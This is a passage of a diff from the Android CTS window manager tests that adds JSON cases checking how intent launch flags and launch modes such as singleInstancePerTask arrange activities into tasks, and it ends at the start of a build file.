@@ -0,0 +1,71 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstanceActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": true
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json
index c8bcea6..685b00f 100644
--- a/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-2.json
@@ -36,10 +36,6 @@
                     {
                         "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
                         "state": "RESUMED"
-                    },
-                    {
-                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
-                        "state": "STOPPED"
                     }
                 ]
             }
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json
index 487e287..23d175d 100644
--- a/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-4.json
@@ -36,10 +36,6 @@
                     {
                         "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
                         "state": "RESUMED"
-                    },
-                    {
-                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
-                        "state": "STOPPED"
                     }
                 ]
             }
diff --git a/tests/framework/base/windowmanager/intent_tests/newDocumentCases/test-13.json b/tests/framework/base/windowmanager/intent_tests/newDocumentCases/test-13.json
new file mode 100644
index 0000000..e840860
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newDocumentCases/test-13.json
@@ -0,0 +1,49 @@
+{
+    "comment": "Verify that a new task should not be created when the DocumentLaunchNeverActivity was started, even if the Intent contains FLAG_ACTIVITY_NEW_DOCUMENT and FLAG_ACTIVITY_MULTIPLE_TASK",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_DOCUMENT | FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$DocumentLaunchNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$DocumentLaunchNeverActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/newDocumentCases/test-14.json b/tests/framework/base/windowmanager/intent_tests/newDocumentCases/test-14.json
new file mode 100644
index 0000000..76e16fa
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newDocumentCases/test-14.json
@@ -0,0 +1,69 @@
+{
+    "comment": "Verify that reuse the existing DocumentLaunchNeverActivity while launch the activity again",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$DocumentLaunchNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstanceActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_DOCUMENT",
+                "class": "android.server.wm.intent.Activities$DocumentLaunchNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$DocumentLaunchNeverActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$DocumentLaunchNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/single-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/single-task.json
new file mode 100644
index 0000000..9c5a63f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/single-task.json
@@ -0,0 +1,52 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleTaskActivity2",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity2",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
new file mode 100644
index 0000000..99b3c18
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
@@ -0,0 +1,49 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-1.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-1.json
new file mode 100644
index 0000000..92481c9
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-1.json
@@ -0,0 +1,53 @@
+{
+    "comment": "Verify the SingleInstancePerTaskActivity is created in a new task when being started without FLAG_ACTIVITY_NEW_TASK",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-10.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-10.json
new file mode 100644
index 0000000..4d3da8d
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-10.json
@@ -0,0 +1,45 @@
+{
+    "comment": "Verify the SingleInstancePerTask with documentLaunchMode-never Activity won't be started in new task via NEW_DOCUMENT",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_NEW_DOCUMENT",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-11.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-11.json
new file mode 100644
index 0000000..fe99a1b
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-11.json
@@ -0,0 +1,45 @@
+{
+    "comment": "Verify the SingleInstancePerTask with documentLaunchMode-never Activity won't be started in new task via NEW_DOCUMENT and MULTIPLE_TASK",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_NEW_DOCUMENT | FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-12.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-12.json
new file mode 100644
index 0000000..46616b3
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-12.json
@@ -0,0 +1,53 @@
+{
+    "comment": "Verify the SingleInstancePerTask with documentLaunchMode-never Activity can be created in a new task with MULTIPLE_TASK flag",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-2.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-2.json
new file mode 100644
index 0000000..bc6ae8f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-2.json
@@ -0,0 +1,53 @@
+{
+    "comment": "Verify that a new task should be created when the SingleInstancePerTaskActivity was started for result",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": true
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-3.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-3.json
new file mode 100644
index 0000000..ddcc3a0
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-3.json
@@ -0,0 +1,67 @@
+{
+    "comment": "Verify that the SingleInstancePerTaskActivity can be created in multiple tasks",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-4.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-4.json
new file mode 100644
index 0000000..9f273ff
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-4.json
@@ -0,0 +1,65 @@
+{
+    "comment": "Verify that the task should be reused (vs. the affinity task on top) while start the activity again",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-5.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-5.json
new file mode 100644
index 0000000..766af41
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-5.json
@@ -0,0 +1,73 @@
+{
+    "comment": "Verify that the a new task should be created when FLAG_ACTIVITY_MULTIPLE_TASK is applied (vs. reusing the existing task) while start the activity again",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-6.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-6.json
new file mode 100644
index 0000000..93d6671
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-6.json
@@ -0,0 +1,49 @@
+{
+    "comment": "Verify that a regular activity can be launched on the same task of a singleInstancePerTask activity",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-7.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-7.json
new file mode 100644
index 0000000..324c39f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-7.json
@@ -0,0 +1,47 @@
+{
+    "comment": "Verify that reusing the same activity even launched with different Uri.",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "data": "https://www.google.com/",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "data": "https://www.youtube.com/",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-8.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-8.json
new file mode 100644
index 0000000..65718a2
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-8.json
@@ -0,0 +1,47 @@
+{
+    "comment": "Verify that reusing the same activity even launched with same Uri.",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "data": "https://www.google.com/",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "data": "https://www.google.com/",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-9.json b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-9.json
new file mode 100644
index 0000000..fc49d3a
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/singleInstancePerTask/test-9.json
@@ -0,0 +1,55 @@
+{
+    "comment": "Verify that a new activity instance be created when FLAG_ACTIVITY_MULTIPLE_TASK is applied, even launched with same Uri.",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "data": "https://www.google.com/",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                "package": "android.server.wm.cts",
+                "data": "https://www.google.com/",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstancePerTaskActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/overlayappbase/Android.bp b/tests/framework/base/windowmanager/overlayappbase/Android.bp
new file mode 100644
index 0000000..e228f7f
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "cts-wm-overlayapp-base",
